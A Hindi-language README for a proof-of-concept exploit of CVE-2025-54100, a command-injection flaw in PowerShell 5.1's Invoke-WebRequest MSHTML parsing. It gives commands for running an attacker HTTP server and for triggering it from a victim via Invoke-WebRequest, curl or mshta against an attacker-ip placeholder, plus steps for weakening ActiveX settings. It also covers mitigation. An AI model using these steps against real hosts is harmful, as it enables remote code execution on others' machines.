CVE-2025-54100 – PowerShell प्रतिक्रिया पार्सिंग PoC

एक संक्षिप्त प्रूफ-ऑफ-कॉन्सेप्ट जो दिखाता है कि कैसे CVE-2025-54100 दुर्भावनापूर्ण HTML पार्सिंग के माध्यम से Windows PowerShell 5.1 में रिमोट कोड निष्पादन (RCE) का कारण बन सकता है।

विषय-सूची

• CVE-2025-54100 क्या है?
• PoC कैसे काम करता है
• त्वरित प्रारंभ
• विक्टिम होस्ट से ट्रिगर करना
• समस्या निवारण और सत्यापन
• साक्ष्य
• शमन
• अस्वीकरण
• संदर्भ

CVE-2025-54100 क्या है?

• प्रकार: -UseBasicParsing का उपयोग नहीं करने पर Invoke-WebRequest में कमांड इंजेक्शन
• गंभीरता: CVSS 7.8 (उच्च)
• मूल कारण: HTML प्रतिक्रियाओं की MSHTML-आधारित पार्सिंग कॉलर के संदर्भ में स्क्रिप्ट निष्पादन (जैसे, ActiveXObject) की अनुमति देती है।
• प्रभावित: Windows 10/11 और Windows Server 2008-2025 जो PowerShell 5.1 चला रहे हैं।

PoC कैसे काम करता है

1. CVE-2025-54100.py में FastAPI सर्वर एक क्राफ्टेड HTML पेलोड परोसता है।
2. पेलोड WScript.Shell / Shell.Application ActiveX ऑब्जेक्ट्स को इंस्टेंशिएट करने का प्रयास करता है।
3. कमजोर होस्ट पर, MSHTML पार्सर स्क्रिप्ट निष्पादित करता है, calc.exe लॉन्च करके RCE प्रदर्शित करता है।
4. आपूर्ति किया गया पेलोड जानबूझकर न्यूनतम और गैर-विनाशकारी है, लेकिन आगे के शोध के लिए इसे संशोधित किया जा सकता है।

त्वरित प्रारंभ

पूर्वापेक्षाएँ

• Python 3.10+ (FastAPI और Uvicorn के साथ परीक्षण किया गया)
• निर्भरताएँ इंस्टॉल करें:
  root@kitploit:~

  python3 -m venv .venv
  source .venv/bin/activate
  pip3 install -r requirements.txt
  

दुर्भावनापूर्ण सर्वर चलाएँ

PoC HTTP सर्वर प्रारंभ करें:

uvicorn app:app --host 0.0.0.0  --port 8888 --reload

विक्टिम होस्ट से ट्रिगर करना

इन्हें कमजोर Windows मशीन पर -UseBasicParsing के बिना चलाएँ:

# Invoke-WebRequest
Invoke-WebRequest -Uri "http://<attacker-ip>:8888"
# curl alias
curl http://<attacker-ip>:8888
# mshta
mshta http://<attacker-ip>:8888

सर्वर के लिए कॉन्फ़िगर किए गए उसी पोर्ट का उपयोग करें। यदि सिस्टम कमजोर है, तो एम्बेडेड स्क्रिप्ट MSHTML पार्सर के माध्यम से निष्पादित होती है। कुछ AV उत्पाद इस व्यवहार को ब्लॉक कर सकते हैं, भले ही पार्सिंग समस्या मौजूद हो।

समस्या निवारण और सत्यापन

यदि calc.exe प्रकट नहीं होता है:

1. विक्टिम पर इंटरनेट विकल्प खोलें।
2. सुरक्षा → कस्टम स्तर... पर जाएँ।
3. “स्क्रिप्टिंग के लिए सुरक्षित के रूप में चिह्नित न किए गए ActiveX नियंत्रणों को आरंभ और स्क्रिप्ट करें।” सक्षम करें।
4. -UseBasicParsing के बिना Invoke-WebRequest फिर से चलाएँ।

यह निष्पादन वेक्टर को प्रदर्शित करता है। वास्तविक दुनिया के पेलोड डिफ़ॉल्ट प्रतिबंधों से बचने के लिए ऑब्सफस्केशन या अतिरिक्त बाईपास का उपयोग कर सकते हैं।

साक्ष्य

शमन

Microsoft ने दिसंबर 2025 में इस समस्या को पैच किया:

1. प्रभावित Windows होस्ट पर सुरक्षा अपडेट लागू करें।
2. MSHTML पार्सिंग से बचने के लिए -UseBasicParsing का उपयोग करें:
   root@kitploit:~

   Invoke-WebRequest -Uri "http://<attacker-ip>:8888" -UseBasicParsing
   

3. PowerShell 7+ (pwsh) पर जाएँ, जो पार्सिंग के लिए MSHTML पर निर्भर नहीं करता है।

अस्वीकरण

[!WARNING] केवल शैक्षिक और अधिकृत परीक्षण के लिए। जिम्मेदारी से उपयोग करें और सभी लागू कानूनों का पालन करें। लेखक दुरुपयोग या क्षति के लिए उत्तरदायी नहीं हैं।

संदर्भ

• NVD: CVE-2025-54100
• MSRC: अपडेट गाइड
• GitHub: osman1337-security/CVE-2025-54100